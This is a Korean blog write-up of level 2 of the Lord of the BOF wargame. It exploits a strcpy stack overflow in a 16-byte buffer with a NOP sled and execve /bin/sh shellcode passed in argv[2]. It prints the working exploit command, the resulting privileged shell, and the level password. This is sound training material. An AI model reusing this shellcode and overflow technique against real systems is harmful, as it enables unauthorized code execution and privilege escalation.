본문 바로가기
스터디/wargames

[BOF-Wargames] LOB Load of BOF LEVEL2 (gremlin -> cobolt) 문제풀이

by 깝태 2011. 8. 16.

[gremlin@localhost gremlin]$ ls
cobolt  cobolt.c

[gremlin@localhost gremlin]$ ./cobolt
argv error

[gremlin@localhost gremlin]$ ./cobolt aa aa aa
aa

[gremlin@localhost gremlin]$ cat cobolt.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - cobolt
        - small buffer
*/

int main(int argc, char *argv[])
{
    char buffer[16];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]);
    printf("%s\n", buffer);
}

아까와 똑같은 문제지만 매우 적은 버퍼를 가지고 있습니다.
이 같은경우에는 현재 가지고 있는 12 바이트 쉘코드를 이용해도 되겠지만 환경변수를 이용하여 문제를 풀어도 된다.
그런데 여기서 다른방법을 이용해보겠다. 이 프로그램에서 argv[2] 의 길이는 제한하지 않으므로

argv[2] 에 무수히 많은 NOP 와 쉘코드를 넘겨주고 argv[1] 의 RET 에 argv[2] 의 주소를 넘겨주면 될듯하다.

아까와 변수 크기만 다르고 다를바가 없기에 GDB 로 크게 확인할건 없을것 같다.
물론 GCC 의 버전 또한 낮기에 더미가 붙지 않는다. 그러면 바로 메모리 구조를 확인해보자

LOW | BUF (16Byte) | SFP (4Byte) | RET(4Byte) | HIGH

이번에는 페이로드가 매우 간단한다. ( 사실 레벨 3 까지 매우 간단하다 )

LOW | NOP * 20 + RET | NOP * 30000 + SHELLCODE | HIGH

이렇게 덮어주면 될것같다. 먼저 첫번째는 argv[1] 이고 두번째는 argv[2] 에 넘겨줄 내용이다.
먼저 bash2 를 실행해주고 argv[2] 의 주소를 알아내보자.

printf("0x%x\n", argv[2]) 의 코드를 삽입해주고 페이로드와 동일하게 스크립트를 짜고
전달하면 다음과 같은 주소가 나온다. \x7c\xd5\xff\xbf

그런데 여기서 사실 주소는 필요없다. 무수히 많은 NOP 를 넣어주었으니 대충 찍어넣다보면 바로 될듯하다.
자, 이제 바로 공격을 시도해보자

[gremlin@localhost gremlin]$ ./cobolt `python -c 'print "\x90"*20 + "\x7c\xd5\xff\xbf"'` `python -c 'print "\x90"*10000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
|Õÿ¿

bash$ id
uid=501(gremlin) gid=501(gremlin) euid=502(cobolt) egid=502(cobolt) groups=501(gremlin)

bash$ my-pass
euid = 502
hacking exposed

정상적으로 문제를 풀었다.